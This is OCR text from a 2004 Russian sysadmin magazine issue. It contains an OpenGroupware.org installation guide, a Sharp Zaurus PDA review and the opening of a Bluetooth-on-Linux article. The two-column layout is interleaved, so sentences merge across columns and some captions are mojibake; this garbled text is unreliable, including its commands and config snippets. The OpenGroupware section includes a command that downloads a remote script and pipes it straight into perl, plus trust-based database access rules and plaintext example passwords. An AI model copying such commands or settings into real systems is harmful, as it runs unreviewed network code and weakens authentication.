В bridged-варианте вместо TAP-драйвера используется Более подробную информацию по работе с системой
библиотека WinPCap, позволяющая непосредственно рабо- portage можно найти по адресу: http://www.gentoo.org/doc/
тать с сетевым адаптером. Схема взаимодействия имеет вид: ru/portage-manual.xml.

№10(23), октябрь 2004 11


администрирование

OpenGroupware.org,
ИЛИ ПОСЛЕДНИЙ КИРПИЧ В СТЕНЕ

СЕРГЕЙ ЯРЕМЧУК
Несмотря на замечания скептиков, операционная система лей локализация, – это далеко не полный список, с чем
GNU/Linux смогла привлечь (и привлекает) на свою сторо- придется столкнуться. Между тем в сообществе Open Source
ну пользователей. Но если с установками на сервере или уже известно несколько проектов, цель которых заполнить
на домашнем компьютере ситуация более или менее опре- имеющийся вакуум и заменить приложения, привычные по
деленная и зависит не в последнюю очередь от подготовки Windows.
и желания пользователя или администратора, то вот с при- Система программного обеспечения коллективной ра-
менением этой системы на корпоративном уровне все не боты OpenGroupware.org (OGo) призвана конкурировать с
так просто, как хотелось бы. И те администраторы, кото- такими известными продуктами, как Microsoft Exchange, IBM
рые рискнули сделать этот шаг, что скрывать, сталкивают- Lotus Domino и Novell GroupWise. Проект не возник на ров-
ся с проблемами. Недостаток информации, разнообразие ном месте, основой послужил код одной из самых ранних
программ, интерфейсов, плохая и путающая пользовате- таких разработок под GNU/Linux – Skyrix 4.1 Groupware

12
администрирование
Server, представленный немецкой компанией Skyrix Итак:
Software AG, занимавшейся разработкой этого приложения ! Contact Management (менеджер контактов) – сохране-
с 1996 года (до 2000 года он назывался LSOffice). Именно ние и организация персональных и групповых контак-
поэтому с самого начала это был рабочий продукт, а не про- тов, с широкими возможностями по поиску и оптимиза-
тотип. Буквально за один день после анонса сайт проекта ции данных, с возможностью экспорта и удаленного
http://www.opengroupware.org посетили более чем два мил- доступа.
лиона посетителей. Схожесть названия (да и истории воз- ! Group Calendar (календарь) – планирование событий как
никновения) с еще одним известным Open Source-проек- персонально, так и для группы. Возможность добавле-
том – OpenOffice.org породила некоторую неразбериху. На ния примечаний, автоматическое обнаружение конфлик-
сайте размещено примечание, что это хотя и дополняющие тов, простая настройка повторяющихся событий.
друг друга, но все-таки отдельные сообщества. Кроме GNU/ ! Resources Planner (планировщик ресурсов) – позволяет
Linux, OGo в настоящее время портирован под BSD, рационально планировать использование различного
GNUstep и MacOSX. Интерфейс полностью переведен на имущества (автомобили, проекторы), помещений, с воз-
английский и немецкий, плюс ведутся разработки по лока- можностью поиска свободных интервалов времени, ав-
лизации на датский, испанский, итальянский, французский, томатической проверкой конфликтов, посылки уведом-
голландский, корейский, турецкий, японский и китайский. лений.
К сожалению, русского в этом списке нет. Все данные хра- ! Task Management (менеджер задач) – организация пер-
нятся в обычных текстовых файлах, рисунки хранятся в от- сональных, групповых или специфических задач с воз-
дельных файлах и используется Unicode, поэтому локали- можностью их упорядочивания по приоритетам, дате, со-
зация не представляет серьезных проблем. Достаточно пе- стоянию, выводом на персональной странице и уведом-
ревести все параметры в файлах одного из подкаталогов / лением по e-mail.
opt/opengroupware.org/Resources/ и настроить клиентов на ! E-Mail Client – предлагает удобную среду для обмена
вывод в нужной кодировке. Дополнительно в помощь e-mail посредством прямого доступа к IMAP4 и POP3-
«Translation Project» представляет два скрипта, помогаю- серверам, с предоставлением большинства принятых в
щих в переводе интерфейса (рис. 1). Но, очевидно, не каж- e-mail клиентах функциональных возможностей и им-
дый будет этим заниматься, и OGo обретет у нас популяр- портом данных в менеджер контактов.
ность, после того как на него обратят внимание компании- ! Projects and Documents (проекты и документы) – единая
разработчики ПО вроде ALTLinux. централизованная среда, позволяющая использовать
файлы и документы локально и удаленно группами
пользователей или участниками отдельного проекта, с
выдачей необходимых ссылок пользователям.
! News (новости) – доска объявлений, дает возможность
публиковать необходимую информацию (правила ис-
пользования, новости компании и пр.), плюс служит на-
поминанием о текущих задачах и служит как персональ-
ная страница.
! Palm Sync (синхронизация с Palm) – синхронизация дан-
ных в устройствах Palm с приложениями OGo.

Плюс ко всему имеется легко перестраиваемый пользо-


вательский интерфейс, а администратор получает возмож-
ность удобного манипулирования пользовательскими и груп-
повыми аккаунтами, и по настройке OGo. Клиентами OGo
могут выступать не только веб-браузеры, но некоторые по-
пулярные утилиты вроде MS Outlook, kOrganizer, Mac OS/X
Finder, Apple iCal.app, Ximian Evolution.
Надо отметить, что OGo далеко не единственный про-
ект такого рода, реализованный под свободные ОС или име-
ющие статус OpenSource. Поэтому стоит вкратце, справед-
ливости ради, дать ссылки и на остальные решения. Тем
Ðèñóíîê 1 более даже у некоторых из платных решений базовые вер-
сии, большей частью свободны. Самый известный и доволь-
Приложения, входящие в состав OGo но мощный продукт SUSE Linux Openexchange Server (http://
Для доступа ко всем функциональным возможностям и дан- www.suse.com/us/business/products/openexchange/index.html).
ным проект представляет открытые, основанные на XML Далее проект от разработчиков KDE и финансируемый пра-
интерфейсы и API. При этом все функции реализуются в вительством Германии – Kroupware (http://www.kroupware.org,
виде модулей, что позволяет расширять возможности по на момент написания статьи ссылка не работала), DeskNow
мере необходимости. Поэтому состав приложений вполне Mail and Collaboration server (http://www.desknow.com/
может измениться, разработчики открыты для общения. index.html), HyperOffice (http://www.hyperoffice.co), проект,

№10(23), октябрь 2004 13


администрирование
основанный на zope и qmail Amphora (http://www.amphora.ee/ В результате образуется подкаталог rpm, содержащий
eng), LinuXchangE (http://www.linuxchange.com), PHPGroupware 78 файлов, переходим в него:
(http://www.phpgroupware.org).
В OGo подкупает размах, зрелость и самое главное – # cd rpm
свобода с использованием открытых технологий. Именно
эти качества могут привести к тому, что OGo вполне воз- Все в принципе не нужны, но какая разница.
можно и станет номером один в этом списке.
# rpm -Uvh *.rpm
Установка
Если цель ваших исследований – ознакомление с этим про- В процессе система выдает сообщения о домашнем
дуктом, и имеется возможность скачать файл большого каталоге утилиты и о создаваемых пользователях.
объема, то лучшим и самым быстрым вариантом получить Running post installation in root '/opt/skyrix/system' ..
работающую версию будет использование LiveCD, базиру- GNUstep root: /opt/skyrix/system
ющегося на Knoppix (http://www.opengroupware.org/knoppix/ ...
GNUstep Root: /opt/opengroupware.org
index.html). В этом случае можно носить его с собой для No 'skyrix' group available on the system, creating...
демонстрации возможностей. В любом другом случае при- Using group ID '321'
Made a backup of the group file
дется немного повозиться с установкой. Но в отличие от
in '/opt/opengroupware.org/backup/200409251027'
многих других проектов, только начавших свой путь, уста- Created group 'skyrix'.
новка особых проблем вызвать не должна, и, имея некото- No 'opengroupware' user available on the system, creating...
Using user ID '56641'
рый опыт общения с UNIX-системами, заставить работать Made a backup of the passwd/shadow file
OGo, безусловно, можно. Дополнительно проект в после- in '/opt/opengroupware.org/backup/200409251027'
Created user 'opengroupware' with UID '56641'
днее время начал быстро обрастать HOWTO, в которых
объясняется специфика установки для отдельного дистри- Далее конфигурирование PostgreSQL (подробности см.
бутива и готовыми скриптами, автоматизирующими про- в статье Сергея Супрунова «PostgreSQL: первые шаги»,
цесс. Но, если почитать всю доступную документацию, мож- журнал «Системный администратор» № 7, 2004 г.).
но немного запутаться, т.к. авторы HOWTO подходят по- Редактируем файл /var/lib/pgsql/data/pg_hba.conf:
разному к самому процессу, а в предлагаемых скриптах ис-
пользуются разные пути и переменные. К тому же в неко- local all all trust
host all all 127.0.0.1 255.255.255.255 trust
торых документах указаны команды, в которых на данный host all all 0.0.0.02 55.255.255.255 reject
момент уже нет необходимости. Как пример rpm-пакеты рас-
паковываются в /opt/opengroupware.org (исключение – не- Так советуют разработчики. Но в этом случае к базе
давно появившиеся пакеты для SuSE 9.1 – /usr/local/share/ данных получают доступ все локальные пользователи, а
opengroupware.org-1.0a) и /opt/skyrix/, Debian в /usr/lib/ поэтому данную конфигурацию следует использовать толь-
opengroupware.org, скрипты для Slackware устанавливают ко при отладке.
все в каталог вида /opt/OGo-yyyymmdd/. Хотя если почитать Далее стоит безопасности ради использовать конкрет-
документацию годичной давности, то можно сделать вы- ного пользователя вроде:
вод, что раньше возни было все-таки побольше. А поэтому
просто необходимо быть внимательным и для начала ис- host opengroupware skyrix 127.0.0.1 255.255.255.255 trust
пользовать официальную (т.е. общую) документацию.
Далее на странице закачки уже появились ссылки на А лучше еще и требовать пароль для доступа.
прекомпилированные пакеты, собранные сторонними доб-
ровольцами, все в основном под glibc 2.3. Если в дистрибу- host opengroupware skyrix 127.0.0.1 255.255.255.255 ↵
passwd (èëè md5)
тиве используется более ранняя версия этой библиотеки,
попробуйте собрать из исходников или обновите glibs. Как Да и в более ранних версиях (<=7.2) нужно использо-
исключение имеются пакеты для RedHat 7.3 (http:// вать конструкцию с одним all.
ftp.nakedape.cc/nakedape/rh73/rpm/opengroupware). Приведу
пример ручной конфигурации OGo для rpm-пакетов, испро- local all trust
бованная на SuSE 9.1, RedHat 9, Linux XР и Mandrake 10,
хотя сейчас доступен Perl скрипт Kelley Graham http:// Далее в файле /var/lib/pgsql/postgresql.conf должны быть
www.toasterz.com/ogo/add_remove_ogo.pl, который может такие строки.
сделать большую часть работы за вас (wget -q -O – http://
exchangekiller.com/install | perl и ./add_remove_ogo.pl install). # CONNECTIONS AND AUTHENTICATION
#--------------------------------------------------------
Итак, прекомпилированые пакеты доступны как по от- # - Connection Settings -
дельности, в этом случае нужно скачать все имеющие tcpip_socket = true
max_connections = 32
latest в названии или единым архивом, например, rpm- port = 5432
all-latest.tar.bz2.
Первым делом распаковываем архив: Перезапускаем сервер:

# tar -xzvf rpm-all-latest.tar.bz2 # /etc/init.d/postgresql restart

14
администрирование
Shutting down PostgreSQL done Allow from all
</Directory>
Starting PostgreSQL done
Alias /OpenGroupware.woa/WebServerResources ↵
Теперь создаем новую базу данных, таблицы, пользо- /opt/opengroupware.org/WebServerResources
вателя. # Exchange public folders URL
<LocationMatch "^/zidestore/*">
SetHandler ngobjweb-adaptor
# su SetAppPort 23000
# cd /opt/opengroupware.org/Database/PostgreSQL </LocationMatch>
# su postgres
# createdb ogo Alias /zidestore/so/images /opt/opengroupware.org ↵
/WOApps/ZideStore.woa/WebServerResources
CREATE DATABASE
# News Alias
# createuser -A -D ogo Alias /ArticleImages /opt/opengroupware.org/news
CREATE USER Перезапускаем сервер.
# psql ogo ogo
#/etc/init.d/apache2 restart
Welcome to psql 7.4.2, the PostgreSQL interactive terminal.
Syntax OK
Type: \copyright for distribution terms Starting httpd2 (prefork) done
\h for help with SQL commands
\? for help on internal slash commands
\g or terminate with semicolon to execute query Запускаем OpenGroupware. При отладке полезно давать
\q to quit команды прямо из консоли, тогда сразу будут видны все
ogo=> \i pg-build-schema.psql ошибки.

Дело сделано, выходим. #su opengroupware


# echo "source /opt/opengroupware.org ↵
/OpenGroupware.org.sh" >> ~/.bash_profile
ogo=> \q # echo "export LD_ASSUME_KERNEL=2.4.1" >> ~/.bash_profile

Настала очередь Apache. Для начала необходимо уста- Примечание в дистрибутивах, не использующих NTPL,
новить модуль, находящийся по адресу: http://www.opengroup последняя строка не нужна, в Fedora она будет иметь вид:
ware.org/sources/old-cvs-sources/opengroupware.org-mod_ export LD_ASSUME_KERNEL=2.4.19.
ngobjweb-latest.tar.gz.
# /opt/opengroupware.org/WOApps/OpenGroupware.woa/ix86 ↵
# tar -zxvf opengroupware.org-mod_ngobjweb-latest.tar.gz /linux-gnu/gnu-fd-nil/OpenGroupware ↵
# cd opengroupware.org-mod_ngobjweb -WOHttpAllowHost localhost

Если установлен второй Apache, то, возможно, в фай- В первый раз система, скорее всего, не сможет найти
ле GNUmakefile придется исправить строку: HTTPD = требуемые версии библиотек и выдаст ошибки. Поэтому
$(APACHE)/sbin/httpd2. для начала нужно занести следующие строки в файл /etc/
ld.so.conf (для rpm-версии, в остальных случаях измените
# make путь), после чего даем команду ldconfig.

Получаем модуль ngobjweb_x.x.xx.so, где х соответствует /opt/opengroupware.org/Libraries/ix86/linux-gnu/gnu-fd-nil


/opt/skyrix/system/Libraries/ix86/linux-gnu/gnu-fd-nil
версии сервера. Копируем его, куда нам удобнее.
Для удовлетворения зависимостей в случае SuSE 9.1
# mkdir /opt/opengroupware.org/module необходимо дать такие команды:
# cp ngobjweb_2.0.40.so /opt/opengroupware.org/module

Следующим шагом редактируем /etc/apache2/httpd.conf. # ln -s /usr/lib/libldap.so.199.3.4 /usr/lib/libldap.so.2


# ln -s /usr/lib/libssl.so.0.9.7 /usr/lib/libssl.so.0.9.6
Здесь два варианта – занести все параметры в httpd.conf # ln -s /usr/lib/libcrypto.so.0.9.7 ↵
или вынести все в отдельный файл и прописать путь к нему /usr/lib/libcrypto.so.0.9.6
# ln -s /usr/lib/liblber.so.199.3.4 /usr/lib/liblber.so.2
строкой вида Include /etc/apache2/ogo.conf. Поступайте, как
вам удобней. Если используется другой дистрибутив, то в сообщении
будет указана требуемая версия. Например:
#OpenGroupware Apache Module config file.
/opt/opengroupware.org/WOApps/OpenGroupware.woa/ix86/linux-gnu
LoadModule ngobjweb_module ↵ /gnu-fd-nil/OpenGroupware: error while loading shared libraries:
/opt/opengroupware.org/module/ngobjweb_2.0.40.so liblber.so.2: cannot open shared object file:
No such file or directory
<LocationMatch "^/OpenGroupware/*">
SetHandler ngobjweb-adaptor А команда ls -al /usr/lib/lib* укажет на имеющуюся.
SetAppPort 20000
# SNSPort 127.0.0.1:20000 Запускаем:
</LocationMatch>
# /opt/opengroupware.org/WOApps/OpenGroupware.woa/ix86 ↵
<Directory "/opt/opengroupware.org/WebServerResources"> /linux-gnu/gnu-fd-nil/OpenGroupware -WOPort 20000 ↵
Order allow,deny
-WOHttpAllowHost localhost ↵

№10(23), октябрь 2004 15


администрирование
-OGoMinimumActiveSessionCount 0 -LSNewsImagesUrl ↵ ручного редактирования конфигурационных файлов или
'/ArticleImages' -LSNewsImagesPath ↵ при помощи команды Defaults. Для запуска последней вы-
/opt/opengroupware.org/news -LSConnectionDictionary ↵
{databaseName = ogo; hostName = 127.0.0.1; ↵ полняем от имени пользователя opengroupware команду:
password = "qwerty"; port = 5432; userName = ogo} ↵
-LSAdaptor PostgreSQL72 -LSModelName ↵
OpenGroupware.org_PostgreSQL >> /var/log/ogo.log 2>&1 & # source /opt/opengroupware.org/OpenGroupware.org.sh
# /opt/opengroupware.org/WOApps/ZideStore.woa/ix86 ↵
/linux-gnu/gnu-fd-nil/ZideStore -WOPort 23000 ↵
-WOHttpAllowHost localhost -SxExplain YES ↵ (если она не занесена в файл ~/.bash_profile). Теперь мож-
-WOCachingEnabled YES ↵ но работать, например, для просмотра установленных па-
-WOHttpTransactionUseSimpleParser YES ↵
>> /var/log/ogo.log 2>&1 & раметров используется опция read.

Для автоматического запуска лучше использовать init- # Defaults read


{
скрипт. Ничего самому писать не надо, уже имеются гото- Defaults = {};
вые. Для RedHat смотрите на http://toasterz.com/ogo/docs/ NSGlobalDomain = {
"skyrix_id" = server.com;
opengroupware, в пакете slack-all для Slackware тоже име- LSAdaptor = PostgreSQL72;
ется готовый скрипт, другие можно найти по адресу: http:// LSAttachmentPath = "/opt/opengroupware.org/documents";
LSConnectionDictionary = {
helms-deep.cable.nu/~rwh/howtos/opengroupware, http:// databaseName = ogo;
exchangekiller.com/docs/opengroupware (наиболее полный), hostName = localhost;
password = "qwerty";
http://helms-deep.cable.nu/~rwh/howtos/opengroupware2, http:// port = 5432;
mail.opengroupware.org/pipermail/users/2003-July/000427.html, };
LSModelName = "OpenGroupware.org_PostgreSQL";
http://www.toasterz.com/ogo/docs/run.conf. Выберите любой LSNewsImagesPath = "/opt/opengroupware.org/news";
понравившийся, только проверьте пути. LSNewsImagesUrl = "/ArticleImages";
Languages = (
English
# wget -v -N http://exchangekiller.com/docs/opengroupware );
# cp ./opengroupware /etc/init.d/ NGBundlePath = "/opt/opengroupware.org/Library ↵
# chmod u+x /etc/init.d/opengroupware /OpenGroupware.org";
# ln -s /etc/init.d/opengroupware ↵ TimeZoneName = GMT;
/etc/init.d/rc3.d/S20opengroupware XMLReader = libxmlSAXDriver;
# ln -s /etc/init.d/opengroupware ↵ };
/etc/init.d/rc3.d/K20opengroupware OpenGroupware = {};
# ln -s /etc/init.d/opengroupware ↵ skyaptnotify = {
/etc/init.d/rc5.d/S20opengroupware AptNotifyFromAddress = "sergej@server.com";
# ln -s /etc/init.d/opengroupware ↵ AptNotifySkyrixUser = root;
/etc/init.d/rc5.d/K20opengroupware AptNotifySkyrixPassword = khjds5d;
};
Запускаем. }

# /etc/init.d/opengroupware start Параметр write установит указанный ключ, delete уда-


лит значение. Например:
Если теперь набрать в строке веб-браузера: http://
localhost/OpenGroupware, то получите доступ как админис- # Defaults write NSGlobalDomain LSConnectionDictionary ↵
'{hostName=localhost; userName=ogo; ↵
тратор со всеми привилегиями без пароля (рис. 2), кото- password="12345"; port=5432; databaseName=ogo}'
рый тут же надо установить (Preferences → Edit Password) и # Defaults write NSGlobalDomain NGBundlePath ↵
"/opt/opengroupware.org/Library/OpenGroupware.org"
создать остальных пользователей. Теперь при входе будет # Defaults write NSGlobalDomain LSAttachmentPath ↵
запрашиваться логин и пароль. /opt/opengroupware.org/documents

Настройка для работы с LDAP описана в документе


«Active Directory Authentication Mini-HOWTO», интеграция с
телефонными системами в «Telephony Integration with OGo»,
которые доступны на сайте.
Средства обеспечения коллективной работы помогают
оптимизировать рабочее время сотрудников, позволяя луч-
ше управлять свободным временем, распределять задачи,
эффективней использовать информацию. Миру Open Source
не хватало готового полноценного продукта. Теперь эта си-
туация изменилась. Если почитать отзывы о тестировании
OGo годичной давности, то несмотря на сырость програм-
мы, отмечалось, что это готовый и, самое главное, своевре-
менный продукт. За последнее время убраны некоторые ше-
роховатости, намечены разработки на будущее, проект об-
рос документацией, несколькими подпроектами и армией
Ðèñóíîê 2 пользователей. Возможно, кто-то предпочтет использовать
Тонкая настройка параметров работы сервера OGo мо- OpenGroupware.org вместо популярных сегодня платных и
жет производиться из командной строки при запуске, путем отнюдь не дешевых решений.

16
администрирование

ИДЕАЛЬНЫЙ КАРМАННЫЙ КОМПЬЮТЕР


ДЛЯ СИСТЕМНОГО АДМИНИСТРАТОРА
ЧАСТЬ 1
АНДРЕЙ МАРКЕЛОВ
За более чем пять лет общения с карманными компьюте- делками пользоваться огромным накопленным фондом сво-
рами на платформах PalmOS и PocketPC я уже привык к бодного ПО для UNIX-подобных систем. Ну и наконец, в-
мысли о том, что, хотя «карманник» и может значительно четвертых, такой КПК не должен уступать в плане реали-
облегчить повседневную работу системного администра- зации своих прямых функций (органайзер, проигрывание
тора, но полноценно заменить ноутбук при диагностике и музыки и видео, игры и так далее) конкурентам из стана
устранении неисправностей в работе сетей не в состоянии. PalmOS и PocketPC.
В первую очередь это обусловлено «урезанностью» опера- Как оказалось, в реальности такое устройство «вполне
ционной системы, заточенной под функции управления пер- имеет место быть». Называется оно Sharp Zaurus SL-C860
сональной информацией (PIM), и ограниченной функцио- и работает под управлением специализированной версии
нальностью устройств ввода/вывода. Кроме того, сказыва- Linux (рис. 1). При первой же возможности приобрести дан-
ется отсутствие развитого программного обеспечения, удов- ного «зверя» в личное пользование, я не преминул ею вос-
летворяющего потребности системного администратора. И пользоваться. А в данной статье хочу несколько обобщить
хотя к трудностям работы с виртуальной клавиатурой мож- опыт его эксплуатации.
но привыкнуть, а число программ благодаря стараниям эн-
тузиастов постоянно увеличивается, ни устройства на базе Аппаратное обеспечение
PocketPC, ни тем более устройства, работающие под уп- Начну описание с аппаратной части, дабы стали понятны
равлением PalmOS, не в состоянии выступать в роли удоб- объективные ограничения, с которыми столкнется линук-
ного и полноценного инструмента сисадмина. Некоторый соид, севший за клавиатуру Zaurus. Хотя в случае с кар-
свой опыт использования PocketPC в качестве инструмен- манным компьютером правильнее было бы сказать «взяв-
та IT-специалиста я обобщил в статье, с которой можно оз- шего в руки» клавиатуру – при работе с «карманником» на
накомиться по адресу: www.markelov.net/ppc1.html. Но и опе- весу вы держите его именно за нижнюю часть, на которой
рационка Microsoft вслед за PalmOS для меня осталась в и расположена клавиатура.
прошлом.

Ðèñóíîê 2. Ïîõîäíûé íàáîð ñèñàäìèíà. ÊÏÊ, Wi-Fi-êàðòà


D-Link DCF-660W è Ethernet-êàðòà TRENDnet TE-CF100
Ðèñóíîê 1. ÊÏÊ Zaurus «Железо» вполне соответствует сегодняшним стандар-
Каким же видится мне идеальный карманный компью- там для КПК. На борту машинки установлен процессор Intel
тер, способный удовлетворить потребности IT-специалис- XScale PXA 255, работающий с тактовой частотой в 400 МГц.
та? Ну, во-первых, хотелось бы иметь установленную опе- Память делится на ОЗУ, объемом в 64 Мб и энергонезави-
рационную систему с развитой поддержкой сети. Во-вто- симую Flash-память, играющую роль ПЗУ и «винчестера»
рых, экран с разрешением не менее 640 на 480 точек и удоб- одновременно. Диагональ экрана равняется 3,7". Как я уже
ную, но не большую клавиатуру для комфортной работы с писал, разрешение матрицы дисплея 640 на 480 точек, а
командной строкой. В-третьих, желательна возможность без число отображаемых цветов равняется 65 тысячам. Говоря
переделок исходного кода или с его минимальными пере- об экране, нельзя не упомянуть возможность последнего

№10(23), октябрь 2004 17


администрирование
поворачиваться, и складываться поверх клавиатуры. При только испытаю на личном опыте, постараюсь отразить впе-
этом «клавиатурник» превращается в безклавиатурную чатление от работы с ней на страницах журнала. По отзы-
машинку, что достаточно удобно, например, в метро для вам же в форумах эта версия ROM менее приспособлена к
просмотра фильмов и для чтения электронных книг. Име- функциям КПК, и пытается сделать из Zaurus подобие ма-
ются разъемы для подключения карт расширения стандар- ленького ноутбука.
тов Compact Flash type I,II и SD/SDC/MMC. Первый разъем В дальнейшем, говоря о функционировании и исполь-
можно использовать для оснащения вашего КПК сетевой зовании карманного компьютера, я буду опираться на «Мак-
или Wi-Fi-карточкой, а второй – для расширения памяти ус- центровскую» версию, которая мне досталась уже предус-
тройства. К персональному компьютеру Zaurus подключа- тановленной на КПК.
ется посредством USB-шнура. Также присутствует ИК-порт. Включив карманный компьютер, пользователь прями-
Вес устройства – 250 грамм. ком попадает в графическую оболочку для мобильных ком-
Теперь несколько слов о клавиатуре. На Zaurus она уди- пьютеров Qtopia (версии 1.5.4). Интерфейс представлен в
вительно удобная для своих небольших размеров, и обес- виде нескольких закладок, содержащих иконки графичес-
печивает вполне комфортную работу. Достаточно сказать, ких приложений. Нужно заметить, что после установки кон-
что эту статью я набирал и редактировал именно на Zaurus, сольных утилит иконки не добавляются – доступ к ним вы
в среде встроенного текстового редактора Hancom Mobile получите, только зайдя в консоль. По умолчанию присут-
Word. Конечно, ограниченное число кнопок клавиатуры, а ствуют закладки: приложения, игры, мультимедиа, Интер-
именно 59, заставило разработчиков софта «навесить» по нет, PIM, настройки, файлы.
несколько символов на каждую клавишу. С другой стороны,
наверняка многие из читателей в свое время имели дело с
замечательным домашним компьютером ZX-Spectrum. Кла-
виатура ZX-Spectrum и вовсе имела 48 кнопок, что нисколь-
ко не мешало полноценной работе с этим ПК.
Наконец после краткого знакомства с «начинкой» аппа-
рата перейдем к основной части нашего обзора – описа-
нию того, чем же кардинально выделяется данный карман-
ный компьютер из числа конкурентов, а именно, программ-
ной части.

Особенности Linux на Zaurus


Говоря о Linux на Zaurus, «завроводы» обычно указывают
версию прошивки ROM. Пользователь может самостоятель-
но обновлять и модифицировать операционную систему,
находящуюся во flash-памяти, поэтому в настоящее время
получили распространение несколько версий ROM для КПК. Ðèñóíîê 3. Ãðàôè÷åñêàÿ îáîëî÷êà
Большинство из них работает под управлением графичес- В разделе управления персональной информацией при-
кого интерфейса Qtopia разработки Trolltech. сутствуют приложения: адресная книга, дела и календарь,
Во-первых, это оригинальная версия прошивки от Sharp которые в целом по своему функционалу аналогичны соот-
на японском языке, которая по понятным причинам не по- ветствующим приложениям для КПК на платформах
лучила распространения ни в России, ни в англоязычных PalmOS и Windows Mobile.
странах. В разделе «Интернет» находятся две иконки: браузер
Во-вторых, это разрабатываемая на основе оригиналь- Opera 7.0 и клиент электронной почты.
ной версии «англофицированная» прошивка Cacko ROM,
которая вполне корректно работает с русским языком вслед-
ствие русскоязычности некоторых членов Cacko Team. Дан-
ную прошивку можно скачать в Интернете бесплатно.
В-третьих, – платный вариант немного устаревшей вер-
сии предыдущего ROM с русифицированным интерфейсом,
распространяемый компанией «МакЦентр».
В-четвертых, платный англоязычный tkROM, о котором
я не могу ничего сказать, кроме того, что он существует.
Ну и наконец – это ROM, в отличие от всех остальных
базирующийся не на графическом интерфейсе Qtopia, а на
адаптированной версии X Windows. Разрабатывается он
командой Cacko и, как и их прошивка под Qtopia, абсолют-
но бесплатен. С сайта Cacko Team можно также скачать
ряд уже скомпилированного для Zaurus софта, в частно-
сти, AbiWord, Fierfox, и другое ПО, перенесенное с «боль-
шого» Linux. Сам я пока эту прошивку не пробовал, но как Ðèñóíîê 4. Áðàóçåð Opera

18
администрирование
Вкладка «Мультимедиа» содержит проигрыватели му- «только чтение», что сделано для придания наладоннику
зыки, видео и программу звукозаписи. «Из коробки» уста- некоего запаса прочности и защиты от попыток ввода ре-
новленный софт позволяет проигрывать видео в формате курсивного rm на корневой системе. Правда, если ввести
DivX, а музыку в MP3. команду типа
Самое большое число программ вынесено на вкладку
«Приложения». Простые редакторы текста и графики, mount -o remount,rw /
калькулятор, иконка «Консоль», обеспечивающая доступ
к командной строке, просмотрщик презентаций, а также у вас все же появится возможность испортить ФС. В каче-
два достаточно продвинутых редактора HancomWord и стве последнего «форпоста» имеются еще два запасных
HancomSheet, соответственно совместимые с Microsoft раздела с еще одной «спасательной» минимальной корне-
Word и Excel по форматам файлов. вой системой, и раздел, содержащий основное и запасное
ядро Linux. При нормальной работе КПК эти два раздела
не смонтированы.
По умолчанию на Zaurus установлены Samba и SSH-сер-
вера, которые упрощают взаимодействие КПК с настоль-
ным компьютером. Кроме того, вы можете установить на
Zaurus сервер VNC и полностью управлять «карманником»
по сети с персонального компьютера.

Ðèñóíîê 5. HancomWord
Оставшиеся две вкладки – это «Настройки» и «Файлы».
На первую вынесены все опции управления КПК, в том чис-
ле и оболочка для установки пакетов с дополнительным
программным обеспечением. Вторая же представляет из
себя встроенный в Qtopia файловый менеджер, видящий
файлы, правда, только внутри домашней директории. Од-
нако его можно «обмануть», создав симлинк на корень Ðèñóíîê 6. Ñåòü
файловой системы внутри домашнего каталога. В заключение хотелось бы сказать, что общение с уст-
Запустив из консоли команду uname -a (кстати, вы впол- ройством оставляет двоякое впечатление. С одной сторо-
не можете зайти на Zaurus через ssh, по умолчанию подня- ны, богатые возможности программного и аппаратного
том на КПК) мы получим следующий вывод: обеспечения, а с другой стороны, частая необходимость
«доводки напильником» самого необходимого софта, о воз-
$ uname -a
Linux zaurus 2.4.18-rmk7-pxa3-embedix #1, можных проблемах которых не задумываются пользовате-
11 2003 00:01:53 +0000 armv5tel unknown ли других платформ. Наиболее типичный пример – руси-
С версией ядра ясно. Теперь разберемся с файловой фикация ICQ. Учитывая нетривиальность решения многих
системой. В её качестве используется jffs2 (включена в проблем и необходимость обращаться к консоли, я бы мог
официальное ядро Linux с версии 2.4.10), которая является порекомендовать данный КПК исключительно IT-специали-
журналируемой файловой системой, разработанной спе- стам, для которых Zaurus в сочетании с WiFi- или Ethernet-
циально для встраиваемых систем. Подробнее ознакомить- адаптером может стать незаменимым инструментом.
ся с информацией, касающейся jffs2, можно по ссылке на В следующем номере журнала я расскажу об особенно-
сайте компании Red Hat (sources.redhat.com/jffs2), которая стях установки софта на Zaurus и подводных камнях, с ко-
собственно и разработала данную файловую систему, ос- торыми может столкнуться пользователь.
новываясь на оригинальной jffs от Axis Communications AB. При первом же знакомстве с КПК Zaurus SL-С860 и в
Помимо jffs2 в ядро Zaurus включена поддержка fat и ext3, процессе подготовке данной статьи большим подспорьем для
которые можно использовать, например, при работе с кар- меня оказались материалы с форумов zaurususergroup.com
тами расширения памяти SD и CF. и www.hpc.ru, без использования которых процесс знаком-
Особенностью организации иерархической структуры ства со спецификой «карманного» Linux затянулся бы на
файловой системы является то, что некоторые каталоги, в гораздо более длительный срок. С темами этих форумов я
частности /etc, /usr/bin, /usr/lib, на самом деле не что иное, в первую очередь рекомендую ознакомиться читателям, за-
как символические ссылки на соответствующие каталоги думавшимся о приобретении или уже купившим этот заме-
внутри /home. Корневая же система монтируется в режиме чательный гаджет.

№10(23), октябрь 2004 19


администрирование

BLUETOOTH + LINUX, ИЛИ СИНИЙ ЗУБ


НА СЛУЖБЕ CИСТЕМНОГО АДМИНИСТРАТОРА

АНДРЕЙ БЕШКОВ
Некоторое время назад у меня возникла необходимость по прочих полезных сведений о комплектации виднелась над-
выходным дням наведываться через Интернет в локальную пись, поначалу внушившая надежду: «Поддержка Memory
сеть моего работодателя. Казалось бы, решение вопроса Stick Slot и Bluetooth». А еще ниже мелким шрифтом зна-
банально. Купить простенький модем, присоединить его к чилось «опция», и, как всегда, эта загадочная дама со
своей домашней телефонной линии и с помощью обычно- странным именем обошла нас своей благосклонностью.
го десктопа делать то, что нужно. Но душа просила чего-то Итак, решено: будем покупать Bluetooth USB адаптер, в
более удобного и мобильного. И тогда было решено подру- англоязычной документации называемый Bluetooth USB
жить между собой мои служебные железки – ноутбук dongle, а в просторечии «синий свисток». В связи с тем,
Samsung p25 и мобильный телефон Nokia 6310i. Побродив что на ноутбуке установлены две операционные системы,
по просторам сети и посмотрев, как народ решает подоб- встает вопрос, какой именно адаптер покупать. С Windows
ные проблемы, я уже было подумал купить себе соедини- проблем, скорее всего, не будет, потому как большинство
тельный кабель Nokia, прицепить его к последовательному производителей оборудования затачивает свои изделия
порту и через него работать с GSM-модемом, встроенным именно под эту ОС. А вот с Linux крепкой дружбы никто
в телефон. Но потом в голову стали приходить мысли о том, не обещал. Список оборудования, которое удалось заста-
что фирменный соединительный кабель, в отличие от ки- вить нормально работать под Linux, можно посмотреть тут:
